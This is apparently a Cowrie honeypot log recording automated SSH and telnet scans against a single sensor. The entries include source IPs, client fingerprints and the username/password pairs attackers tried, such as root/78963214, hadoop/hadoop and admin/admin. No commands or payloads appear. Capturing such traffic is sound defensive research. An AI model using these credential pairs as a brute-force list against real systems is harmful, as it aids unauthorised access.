{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad123","message":"login attempt [mohammad/mohammad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:37.470451Z","src_ip":"45.153.34.97","session":"ba6595bca257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:39.189139Z","src_ip":"45.153.34.97","session":"ba6595bca257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26614,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc81eb74b18","protocol":"ssh","message":"New connection: 45.153.34.97:26614 (10.17.0.5:22) [session: edc81eb74b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:40.572332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:40.580678Z","src_ip":"45.153.34.97","session":"edc81eb74b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:40.680192Z","src_ip":"45.153.34.97","session":"edc81eb74b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:41.080931Z","src_ip":"45.153.34.97","session":"edc81eb74b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:42.176721Z","src_ip":"45.153.34.97","session":"edc81eb74b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1e07440ae0","protocol":"telnet","message":"New connection: 152.42.224.71:34348 (10.17.0.5:23) [session: ca1e07440ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:43.860920Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57670,"dst_ip":"159.203.135.109","dst_port":22,"session":"5beafb77d26b","protocol":"ssh","message":"New connection: 103.173.227.57:57670 (159.203.135.109:22) [session: 5beafb77d26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:43.948628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:43.953561Z","src_ip":"103.173.227.57","session":"5beafb77d26b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:44.196667Z","src_ip":"103.173.227.57","session":"5beafb77d26b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26626,"dst_ip":"10.17.0.5","dst_port":22,"session":"d39d12eb13d0","protocol":"ssh","message":"New connection: 45.153.34.97:26626 (10.17.0.5:22) [session: d39d12eb13d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:44.747052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:44.753498Z","src_ip":"45.153.34.97","session":"d39d12eb13d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:44.847361Z","src_ip":"45.153.34.97","session":"d39d12eb13d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"78963214","message":"login attempt [root/78963214] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:44.917748Z","src_ip":"103.173.227.57","session":"5beafb77d26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:45.094410Z","src_ip":"45.153.34.97","session":"d39d12eb13d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:46.159533Z","src_ip":"103.173.227.57","session":"5beafb77d26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:46.189811Z","src_ip":"45.153.34.97","session":"d39d12eb13d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.68.241","src_port":3048,"dst_ip":"10.17.0.5","dst_port":22,"session":"978701f46475","protocol":"ssh","message":"New connection: 35.233.68.241:3048 (10.17.0.5:22) [session: 978701f46475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:47.562922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:47.651681Z","src_ip":"35.233.68.241","session":"978701f46475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.68.241","src_port":3054,"dst_ip":"10.17.0.5","dst_port":22,"session":"a869b59b4600","protocol":"ssh","message":"New connection: 35.233.68.241:3054 (10.17.0.5:22) [session: a869b59b4600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:47.807318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:47.817549Z","src_ip":"35.233.68.241","session":"a869b59b4600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:47.888414Z","src_ip":"35.233.68.241","session":"a869b59b4600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8d0aeac06e","protocol":"ssh","message":"New connection: 45.153.34.97:26634 (10.17.0.5:22) [session: 1b8d0aeac06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:48.892231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:48.896284Z","src_ip":"45.153.34.97","session":"1b8d0aeac06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:48.982509Z","src_ip":"45.153.34.97","session":"1b8d0aeac06e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:49.064964Z","src_ip":"35.233.68.241","session":"a869b59b4600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:49.148511Z","src_ip":"35.233.68.241","session":"a869b59b4600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:49.153727Z","src_ip":"35.233.68.241","session":"978701f46475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:49.520846Z","src_ip":"45.153.34.97","session":"1b8d0aeac06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:50.776821Z","src_ip":"45.153.34.97","session":"1b8d0aeac06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":11302,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d03a080f839","protocol":"ssh","message":"New connection: 34.140.15.108:11302 (10.17.0.5:22) [session: 4d03a080f839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:51.360409Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:51.441056Z","src_ip":"34.140.15.108","session":"4d03a080f839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33554,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c09cc3ec633","protocol":"ssh","message":"New connection: 45.153.34.97:33554 (10.17.0.5:22) [session: 0c09cc3ec633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.081328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.088044Z","src_ip":"45.153.34.97","session":"0c09cc3ec633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.180439Z","src_ip":"45.153.34.97","session":"0c09cc3ec633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":38650,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3af1174ddac","protocol":"ssh","message":"New connection: 192.169.250.238:38650 (10.17.0.5:22) [session: b3af1174ddac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.510238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.514754Z","src_ip":"192.169.250.238","session":"b3af1174ddac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52328,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2e6bc12093","protocol":"telnet","message":"New connection: 152.42.224.71:52328 (10.17.0.5:23) [session: cb2e6bc12093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.519500Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.587709Z","src_ip":"192.169.250.238","session":"b3af1174ddac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ninetynine","message":"login attempt [root/ninetynine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.904826Z","src_ip":"192.169.250.238","session":"b3af1174ddac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:53.929847Z","src_ip":"45.153.34.97","session":"0c09cc3ec633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:54.980028Z","src_ip":"192.169.250.238","session":"b3af1174ddac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:55.013552Z","src_ip":"45.153.34.97","session":"0c09cc3ec633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.155513763427734,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:56.804411Z","src_ip":"152.42.224.71","session":"b3c9c355d928","protocol":"telnet"}
